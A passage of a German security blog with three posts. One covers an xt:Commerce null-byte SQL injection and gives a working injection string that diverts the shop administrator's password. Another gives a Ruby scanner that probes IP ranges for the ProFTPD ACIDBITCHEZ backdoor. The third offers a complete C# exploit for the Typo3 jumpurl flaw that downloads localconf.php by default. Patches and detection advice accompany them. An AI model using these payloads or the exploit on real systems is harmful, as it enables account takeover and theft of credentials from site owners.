Version: xt:Commerce v3.0.X
Am 18.02.2011 wurde auf xtc-load.de über einen Patch für einen kritischen Fehler in xt:Commerce v3.0.4SP2.1 berichtet.
Der SQL Injection Bugfix von xtc-load.de behebt NICHT alle Fehler.
Download xt:Commerce v3.0.4SP2.1 incl. eregi (Nullbyte Injection) SQL Injection Bugfix
Angepasste Dateien: inc/xtc_validate_email.inc.php, password_double_opt.php
Fix für den Fix
Der auf xtc-load.de oder anderen Seiten angebotene Patch löst das Problem mit der SQL Injection sicher, jedoch nicht die Nullbyte Injection in der Funktion xtc_validate_email() (inc/xtc_validate_email.inc.php). Der Patch (xtc-load.de) enthält in dieser Datei folgenden Codeschnippsel der zum verhindern der Nullbyte Injection verwendet werden soll:
// sql injection fix 16.02.2011 if (strpos($email,"\0")!==false) {return false;} |
Hierbei wird auf das “\0″ geprüft. Jedoch nicht auf die ebenfalls gültigen “\x00″, “\u0000″ und “\000″ Nullbytes. Ein Fix für den Fix (eine bereits gegen die Nullbyte / SQL Injection gefixte Version) ist das ersetzen des oben erwähnten Codeschnippsels mit folgendem:
## Bugfix for nullbyte injection. More: http://www.monkey-business.biz/1586/xtcommerce-v3-0-x-eregi-nullbyte-injection-sql-injection/ str_replace(array("\0", "\x00", "\u0000", "\000"), '', $email, $count); if ($count > 0) return false; |
Der Codeschnippsel hat den selben Sinn wie der bereits enthaltene, er prüft jedoch zusätzlich noch auf die ebenfalls gültigen Nullbytes. In die Variable $count wird von der Funktion str_replace() die Anzahl der ersetzten Nullbytes im E-Mail String hinterlegt. Danach wird geprüft ob ein Nullbyte ersetzt werden musste. Ist dies der Fall wird die Funktion beendet und die E-Mail für ungültig erklärt und nicht in die Datenbank geschrieben.
Details zur Sicherheitslücke
Das Vorgehen ist denkbar einfach. Nach der erfolgreichen Anmeldung im xt:commerce Shop muss der in der E-Mail Adresse injizierte SQL Code (via account_edit.php) über die xt:commerce “Passwort vergessen” Funktion ausgeführt werden nachdem die Passwort vergessen E-Mail angefordert wurde. Die E-Mail Adresse die beim Ausführen von password_double_opt.php aus der “Passwort vergessen” E-Mail heraus zur Injektion verwendet wird kann beispielsweise folgenden String enthalten:
yourmail@example.com \x00' OR customers_email_address = 'shopadmin@example.com |
Dies bewirkt die Übermittlung des Strings an den MySQL Server:
UPDATE customers SET customers_password = '7e716d0e702df0505fc72e2b89467910' WHERE customers_email_address = 'yourmail@example.com \x00' OR customers_email_address = 'shopadmin@example.com' |
Im weiteren Ablauf des password_double_opt.php wird das Passwort für shopadmin@example.com, in diesem Beispiel Shop Administrator, an yourmail@example.com gesendet.
Was hat das mit dem Nullbyte zu tun?
Die PHP Funktion eregi() die in der xtc_validate_email() Funktion in der Datei inc/xtc_validate_email.inc.php in xt:commerce verwendet wird nutzt die darunter liegende C-Lib um den String zu lesen. Diese Lib erkennt ein Nullbyte (\0, \x00, \u0000, \000) als String Ende. Bei der Überprüfung mit eregi() wird also das Nullbyte von der Funktion als vorzeitiges String Ende angesehen und nur der Teil des Strings bis zum Nullbyte überprüft. Das heißt nach einem Nullbyte können beliebige Zeichen eingeschleußt werden. Es handelt sich hierbei also um keinen Fehler den xt:commerce Shopsystems.
Ob die Nullbyte und SQL Injection von Erfolg gekrönt ist hängt von den php.ini Einstellungen ab. Optionen die \ in Eingaben über $_POST oder $_GET filtern verhindern oder verändern unter Umständen den nötigen Injection String.
8 Kommentare »Auf heise.de habe ich am Tag nach dem Bemerken des Einbruchs (Bemerkt am: 01.12.2010) gelesen, das die offiziellen ProFTPD FTP Quellen seit dem 28.11.2010 mit einem Backdoor verseucht seien. Laut heise online soll die Infektion des Quellcodes über eine ungepatchte Sicherheitslücke Lücke im SQL-Modul in ProFTPD selbst verseucht worden seien. Was für eine Ironie.
Ich wusste mein Server ist nicht infiziert da ich mein System aus den Debian Paketquellen pflege und in darin niemals derart aktuelle Pakete enthalten sind. Dennoch wollte ich mehr darüber wissen. Auf der ProFTPD Projektseite fand ich eine News Meldung.
The ProFTPD Project team is sorry to announce that the Project’s main FTP server, as well as all of the mirror servers, have carried compromised versions of the ProFTPD 1.3.3c source code, from the November 28 2010 to December 2 2010. All users who run versions of ProFTPD which have been downloaded and compiled in this time window are strongly advised to check their systems for security compromises and install unmodified versions of ProFTPD.
To verify the integrity of your source files, use the PGP signatures which can be found here as well as on the FTP servers.
The source code in CVS was not affected.
CVS Benutzer müssen sich laut ProFTPD Team eigenen Angaben keine Sorgen machen. Anwender die die FTP Quellen benutzt haben sollten prüfen ob deine heruntergeladene Versionen des ProFTPD Quellcodes gültige PGP Signaturen aufweisen. (ProFTPD PGP Signaturen)
ProFTPD sollte normalerweise nicht als Prozess des Benuters root laufen. In wie weit das für den root Zugang über den Backdoor eine Rolle spielt weiß ich nicht. In kombination mit einem verwundbaren Kernel durch das “privilege escalation” Exploit der selben Gruppe wäre dies kein Hindernis. Mehr dazu hier.
Um das Aufspüren von infizierten Servern zu erleichtern habe ich ein Scanner Script “verfasst”. Wie du an der Shebang und der Syntax erkennst handelt es sich um ein Ruby Script.
#! /usr/bin/ruby -w require 'net/ftp' require 'timeout' ## ## Validate and split IP address ## def explodeip(ip) if 5 == len = (ip = ip.match('^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$').to_a).length i = 1 4.times do ip[i] = ip[i].to_i() i = i + 1 end return ip else return false end end ## ## Check FTP host for infection ## def checkinfect(ip) begin timeout(3) do ftp = Net::FTP.new(ip) puts ip+': connected' begin ftp.sendcmd('help ACIDBITCHEZ') puts ip+': infected' rescue Net::FTPPermError puts ip+': clean' ensure ftp.close() end end rescue Timeout::Error puts ip+': timeout' rescue Errno::ECONNREFUSED puts ip+': connection refused' rescue Errno::EHOSTUNREACH ## Maybe you wan't to google? end end ## ## Script info ## if !ARGV[0].is_a?(String) puts '# ACIDBITCHEZ ProFTPD backdoor scanner' puts '# Usage: ./ACIDBITCHEZ_ftpscanner <ip adress> || <start ip> <end ip>' puts '# More: http://www.monkey-business.biz/1211/proftpd-acidbitchez-backdoor-scanner/' Process.exit() end if ip1 = explodeip(ARGV[0]) if ARGV[1].is_a?(String) ## ## Cycle trough IP's ## if ip2 = explodeip(ARGV[1]) while ip1[1] <= ip2[1] while ip1[2] <= ip2[2] while ip1[3] <= ip2[3] while ip1[4] <= ip2[4] checkinfect(ip1[1].to_s()+'.'+ip1[2].to_s()+'.'+ip1[3].to_s()+'.'+ip1[4].to_s()) ip1[4] = ip1[4] + 1 end ip1[4] = 0 ip1[3] = ip1[3] + 1 end ip1[3] = 0 ip1[2] = ip1[2] + 1 end ip1[2] = 0 ip1[1] = ip1[1] + 1 end else puts '# Second IP adress not valid' end ## ## Check single IP ## else checkinfect(ip1[0]) end else puts '# IP adress not valid' end |
Das Script läuft nicht ansynchron / in Threads, das liegt daran das du damit nicht das ganze Internet scannen sollt und es ein Prototyp ist bei dem du möglicherweise mit dem Request Timeout spielen musst. Vielleicht ist es mir auch den Aufwand nicht wert. Optimierungen nehme ich gerne entgegen.
Um es mir zu ermöglichen Typo3 Installationen von Windows System aus auf die Jumpurl Sicherheitslückezu überprüfen, habe ich mir einen Exploit in C# programmiert. Ich veröffentliche den Exploit erst jetzt, weil inzwischen die meisten Systeme gefixt sein sollten. Zunächst möchte ich die Vorgehensweise des Exploits beschreiben.
Als erstes wird ein HTTP Anfrage mit einer bestimmten Kombination an GET Parametern an Typo3 gesandt. Die Antwort dieser Anfrage wird eingelesen und die Prüfsumme die in der Antwort steht ausgelesen. Nun wird eine zweite Anfrage an das Typo3 System gesandt. Diese Abfrage ist eine Downloadanforderung für eine Datei, welche mit der Prüfsumme aus der zuvor erhaltenen Anfrage validiert wird.
Verwundbar sind die Typo3 Versionen TYPO3 < 4.2.6, TYPO3 < 4.1.10 und TYPO3 < 4.0.12. In den Typo3 Versionen < 4 findest du die fehlerhafte Datei in "tslib/class.tslib_fe.php". In den Versionen >= 4 ist die Datei unter “typo3/sysext/cms/tslib/class.tslib_fe.php” zu finden. Schauen wir uns den verwundbaren Quellcodeabschnitt mit Vorgangs relevanten Kommentaren Typo3 aus an:
## Prüfen ob $_GET['jumpurl'] nicht leer ist if ($this->jumpurl) { ## Prüfen ob $_GET['juSecure'] nicht leer ist if (t3lib_div::_GP('juSecure')) { $hArr = array( $this->jumpurl, t3lib_div::_GP('locationData'), $this->TYPO3_CONF_VARS['SYS']['encryptionKey'] ); $calcJuHash=t3lib_div::shortMD5(serialize($hArr)); $locationData = t3lib_div::_GP('locationData'); $juHash = t3lib_div::_GP('juHash'); ## Prüfe ob $_GET['juHash'] gleich der errechneten Prüfsumme if ($juHash == $calcJuHash) { ## $_GET['locationData'] überprüfen if ($this->locDataCheck($locationData)) { $this->jumpurl = rawurldecode($this->jumpurl); if (t3lib_div::verifyFilenameAgainstDenyPattern($this->jumpurl) && basename(dirname($this->jumpurl)) !== 'typo3conf') { if (@is_file($this->jumpurl)) { $mimeType = t3lib_div::_GP('mimeType'); $mimeType = $mimeType ? $mimeType : 'application/octet-stream'; ## Das Senden der Datei header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: '.$mimeType); header('Content-Disposition: attachment; filename='.basename($this->jumpurl)); readfile($this->jumpurl); exit; } else die('jumpurl Secure: "'.$this->jumpurl.'" was not a valid file!'); } else die('jumpurl Secure: The requested file type was not allowed to be accessed through jumpUrl (fileDenyPattern)!'); } else die('jumpurl Secure: locationData, '.$locationData.', was not accessible.'); ## Hier findet die Ausgabe der Prüfsumme statt } else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.'); } else { |
Die Sicherheitslücke kann durch das ersetzen von:
} else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.'); |
durch:
} else die('jumpurl Secure: Calculated juHash did not match the submitted juHash.'); |
geschlossen werden. Natürlich kannst du potentiellen Angreifern auch eine Nachricht hinterlassen oder dich über einen Angriff und den Angreifer informieren lassen. Ein kleines Beispiel hierzu:
} else { mail( 'mail@example.com', ## Hier musst du deine E-Mail Adresse eintragen 'Möglicher Einbruchsversuch auf Ihrem Typo3 System ('.$_SERVER['HTTP_HOST'].') via Jumpurl', "IP:\n".$_SERVER['REMOTE_ADDR']. "\n\nUhrzeit:\n".date('d.m.Y H:i:s', $_SERVER['REQUEST_TIME']). "\n\nGET Parameter:\n".$_SERVER['QUERY_STRING'], "Content-type: text/plain; charset=utf-8\r\n" ); exit('<p>Der Systemadministrator wurde benachrichtigt.</p>'); } |
(Der zu ersetzende Teil bezieht sich auf den oben angesprochenen Fehlerhaften Quellcodeabschnitt)
Der C# Quellcode basiert auf der get_http_as_string Funktion die bereits in einem anderen Artikel besprochen wurde. Das ist der, wie immer gut kommentierte, C# Exploit Quellcode für die Typo3 Sicheitslücke:
/* * [arg[0] = string] die URL zum Typo3 System * [arg[1] = string] (optional) die herunterzuladende Datei */ public static void Main(string[] args) { // Prüfe ob arg[0] vorhanden if (args.Length > 0) { // Regulärer Ausdruck für die URL Validierung Regex r = new Regex(@"^https?:\/\/([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+([a-zA-Z]{2,6})/|[a-zA-Z0-9]/$"); // Prüfe ob URL valide anhand des Regulären Ausdrucks if (r.IsMatch(args[0])) { string file = ""; // Prüfe ob arg[1] vorhanden if (args.Length > 1) { // Prüfe ob arg[1] nicht leer ist if (args[1].Length > 0) { file = args[1]; } else { file = "typo3conf/localconf.php"; } } else { file = "typo3conf/localconf.php"; } // Ermittle mit einer HTTP Anfrage die Ausgabe der Prüfsumme string content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&juSecure=1&locationData=1:", 8192); // Prüfe ob Ausgabe vorhanden if (content.Length > 0) { // Regulärer Ausdruck für die Prüfsumme r = new Regex("([a-f0-9]{10})+"); // Versuche die Prüfsumme anhand des Regulären Ausdrucks zu finden Match m = r.Match(content); // Prüfe ob die Prüfsumme gefunden wurde if (m.Length > 0) { // Prüfsumme wurde gefunden. Starte zweite HTTP Anfrage mit der Downloadanforderung. content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&juSecure=1&locationData=1:&juHash=" + m.Value, 8192); Console.WriteLine("# File content:"); Console.WriteLine(content); Console.WriteLine("# Attack successful!"); } else { Console.WriteLine("# Hash indeterminate );"); } } else { Console.WriteLine("# Something is going really wrong. Maybe the URL?"); } } else { Console.WriteLine("# Wrong URL format. Try this: http://<domainname>.<tld>/<dir[OPTIONAL]>/"); } } else { Console.WriteLine("# Typo3 Jumpurl exploit"); Console.WriteLine("# Usage: http://<domainname>.<tld>/ <file[OPTIONAL]>"); Console.WriteLine("# More: http://www.monkey-business.biz/495/c-typo3-jumpurl-exploit/"); } } |
Ist das zweite Argument beim Programmaufruf nicht gesetzt wird versucht die Typo3 Konfigurationsdatei aus dem standard Pfad (typo3conf/localconf.php) herunterzuladen.
Das komplette Mono Projekt inklusive der ausführbaren Datei kann hier heruntergeladen werden:
Typo3 Jumpurl Exploit – C# Mono Projekt – herunterladen
(Das Programm ist zu Studienzwecken da und nicht um damit Unfug zu treiben)
Keine Kommentare »